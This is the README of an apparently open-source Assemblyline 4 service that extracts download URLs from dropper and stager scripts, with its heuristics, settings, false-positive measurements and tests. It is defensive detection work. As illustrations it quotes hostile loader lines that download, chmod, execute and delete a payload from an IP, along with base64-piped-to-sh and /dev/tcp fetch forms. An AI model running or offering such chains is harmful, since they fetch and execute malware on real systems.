Skip to content

About

Assemblyline 4 service that pulls download URLs out of dropper and stager scripts and hands them to URLDownloader to fetch the next stage.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

Assemblyline service: DropperURLs

Extracts download URLs from dropper and stager scripts and emits each HTTP(S) URL as a uri/ file, so URLDownloader fetches the next stage.

Assemblyline's URLCreator only makes a URL fetchable when it already scores 300, uses a non-standard port, has a tool name in its path, or has an IP host with a file extension. A typical IoT loader matches none of these:

wget http://198.51.100.61/7007c2; curl -O http://198.51.100.61/7007c2
chmod 777 7007c2; ./7007c2 bc; rm -rf 7007c2

DropperURLs emits any URL a script passes to a download tool, whatever it scores.

What it detects

wget, curl, tftp, ftpget, ftp, busybox <tool>, certutil -urlcache, Invoke-WebRequest / iwr, Start-BitsTransfer, DownloadFile, DownloadString, urlretrieve, urlopen, requests.get, and HTTP requests written by hand over /dev/tcp. A URL counts only when a download tool is on the same line, including commented-out lines, which often hold fallback hosts. tftp commands carry no URL, so a tftp://host/file form is built for tagging.

Loaders rarely write the URL out on the download line, so each URL is reported with how it was found:

How found What it covers Example
literal URL on the download line, also with ${IFS} as a space wget${IFS}http://198.51.100.3/a.sh
variable Shell variables expanded on download lines, one URL per value (case branches and for ... in loops count) CB=http://198.51.100.70 ... wget "$CB/$BIN"
decoded Inline base64, printf/echo -e and $'...' escapes, a base64 script piped into sh (two layers deep), and backslashes inserted into a URL echo d2dldCBodHRw... | base64 -d | sh, http://c2.ex\am\ple.net/x
no scheme IP targets without http:// on wget, curl, ftpget or tftp lines wget 198.51.100.8/f
raw TCP /dev/tcp/HOST/PORT followed by an HTTP GET within five lines exec 3<>/dev/tcp/198.51.100.10/80

A URL with an unresolved variable or command substitution (http://198.51.100.12/$(uname -m)) is listed and its host tagged, but its incomplete URL is neither tagged nor emitted. Limits: 8 values per variable (32 for for ... in lists), 64 expansions per line, 8 variable substitutions per line, 2 levels of decoding, 500 URLs per file.

Loopback, link-local and cloud metadata hosts (127.0.0.1, localhost, 169.254.169.254, metadata.google.internal) are listed with the status not emitted: local address. They are never emitted or tagged and do not raise heuristics 2 or 4.

Result

One table lists each URL once, with its command, how it was found, and its status: emitted for download, or the reason it was not (unresolved, not HTTP(S), a local address, a limit, or emit_uris off). The heuristics that apply appear as short subsections of the table.

Heuristics

ID Name Score Raised when
1 Download command in script 0 Any download command (ATT&CK T1105)
2 Multi-stage dropper 300 3+ URLs in one directory of one host, from a bare IP or with architecture or hex-token payload names
3 Download, execute and self-delete chain 400 (600 with chmod 777) The file a wget, curl, tftp or ftpget command writes is made executable, run and removed, each step naming that file; signatures chmod_777, exec_downloaded, self_delete
4 Payload fetched from bare IP address 0 A download host that is not a local address is an IP address
5 Download URL hidden by encoding 300 A URL appears only after decoding (ATT&CK T1027)
6 Downloaded content executed directly 100 A download command writes to stdout and an interpreter runs it: curl ... | sh, wget -O- ... | bash, bash -c "$(curl ...)", bash <(curl ...), eval "$(curl ...)" (ATT&CK T1105, T1059.004)

Heuristics 3 and 6 read the script statement by statement, the way a shell does: quotes, comments, here-document bodies and continued lines are handled, and only a command position counts. A command inside a comment, an echo string or a here-document raises neither. The downloaded file's name comes from -o, -O, > or the URL, or from a variable that holds it; positional parameters such as $1 say nothing and are ignored. Files typed code/markdown (documentation) skip both heuristics; their URLs are still listed.

Measured on benign files

103,547 text files from a Fedora installation (scripts in /usr/bin, /usr/sbin, /usr/libexec and systemd, Python modules, /etc, /usr/share) plus 36 public installers (rustup, docker, nvm, uv, pnpm, k3s, ollama, tailscale, oh-my-zsh, homebrew, golang/dep and others). 1,836 of them contain a download tool name. Scores of those 1,836 files:

0 100 400
Before (heuristic 3 matched any chmod, ./x or sh x, and rm) 1,830 0 6
After 1,830 6 0

The six 400s before were the uv, golang/dep and Pi-hole installers, a VS Code package.json, a bundled devcontainer CLI and the zsh FAQ. The six 100s after are the pyenv installer, which runs curl ... | bash, and five README.md files with curl ... | sh install instructions. The service skips heuristics 3 and 6 for files Assemblyline types code/markdown; this measurement does not apply that rule.

Installation and configuration

In Assemblyline, open Administration → Services → Add service and paste service_manifest.yml. No API key is needed, and the service makes no network connections.

Settings

Name Scope Default Range Effect
max_uris_limit service setting 200 0 to 1000 Ceiling for max_uris; 0 emits nothing
excluded_networks service setting none CIDR networks or IPs URLs on these hosts are listed but not emitted or tagged
excluded_domains service setting none domain names Same for these domains and their subdomains
emit_uris submission option true true or false Emit each HTTP(S) URL as a uri/ file
max_uris submission option 50 0 to max_uris_limit Maximum emitted files; an invalid value uses 50
tag_non_http submission option true true or false Tag tftp and ftp URLs; URLDownloader fetches only HTTP(S)

Excluded hosts get the status not emitted: excluded by service settings, like local addresses, and do not count toward heuristics 2 and 4. Invalid excluded_networks entries are logged and skipped. A service setting out of range is clamped and one of the wrong type uses the default; both are logged. Changing a service setting invalidates cached results.

URLDownloader has to run for anything to be fetched. It is in the Internet Connected category, which Assemblyline's default selection and the built-in static submission profile leave out, so add it to the profile your submitters use.

OPSEC: with URLDownloader enabled, every sample with a download URL triggers an outbound fetch. Without a proxy it leaves from your own address and reveals your analysis infrastructure to live C2 servers. Configure URLDownloader's proxy first.

Tests

bash scripts/build-image.sh al4-dropperurls:test 4.7.0.dev0 podman
bash scripts/ci-gate.sh al4-dropperurls:test podman

The gate runs Ruff, Pyright and pytest inside the image, including five sample scripts with expected results.

Layout

dropperurls/
  analysis.py     download commands, URLs, variables and decoding, no Assemblyline imports
  chain.py        shell statements: heuristic 3 chain and heuristic 6 direct execution, no Assemblyline imports
  service.py      class DropperURLs(ServiceBase): result, heuristics, uri/ emission
  settings.py     typed readers for service settings and submission options, config fingerprint
tests/            tests, samples/ and results/
scripts/          build-image.sh, ci-gate.sh, gentests.py

About

Assemblyline 4 service that pulls download URLs out of dropper and stager scripts and hands them to URLDownloader to fetch the next stage.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages